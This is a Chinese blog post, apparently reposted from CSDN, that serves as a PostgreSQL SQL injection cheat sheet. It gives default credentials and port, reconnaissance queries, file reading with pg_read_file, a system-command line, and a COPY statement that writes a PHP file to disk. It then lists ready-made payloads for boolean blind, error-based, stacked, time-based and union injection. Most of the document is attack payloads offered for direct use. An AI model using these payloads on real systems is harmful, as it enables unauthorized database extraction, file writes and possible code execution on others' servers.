PostgreSQL数据库的注入

目录

PostgreSQL

PostgreSQL常用查询命令

布尔盲注

错误注入

堆叠注入

时间盲注

联合查询


PostgreSQL

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。

PostgreSQL安装后,默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。注释符:--              延时函数:pg_sleep(3)

PostgreSQL和MySQL一样,也有 information_schema 数据库。

PostgreSQL安装后默认是不允许其他主机连接的,如果要让其他主机连接,找到PostgreSQL安装目录下的/data/pg_hba.conf, 找到“# IPv4 local connections:”,然后在下面添加你的IP地址

host    all             all             192.168.10.1/32         md5

PostgreSQL常用查询命令

select CURRENT_SCHEMA()           #查看当前权限
select user                       #查看用户
select current_user               #查看当前用户
select chr(97)                    #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110)  #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version()                  #查看PostgreSQL数据库版本
SELECT current_database()         #查看当前数据库
select length('admin')            #查看长度

select case when(expr1) then result1 else result2 end;  #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;

select pg_read_file(filepath+filename);  #读取文件
select system("comamnd_string");         #执行系统命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';   #写入文件

布尔盲注

1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48

 

错误注入

报错注入需要目标网站开启了报错提示。

1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)

 

堆叠注入

和MySQL的堆叠注入一样,在后面加上查询语句即可。

时间盲注

select pg_sleep(3)

联合查询

order by 3   #查看显示列
select null,null,函数
然后接下来就是和MySQL注入一样了,关于PostgreSQL的语句可以查看SQLMap

更多语句查看SQLMap

发布了419 篇原创文章 · 获赞 1356 · 访问量 133万+

猜你喜欢

转载自blog.csdn.net/qq_36119192/article/details/104628797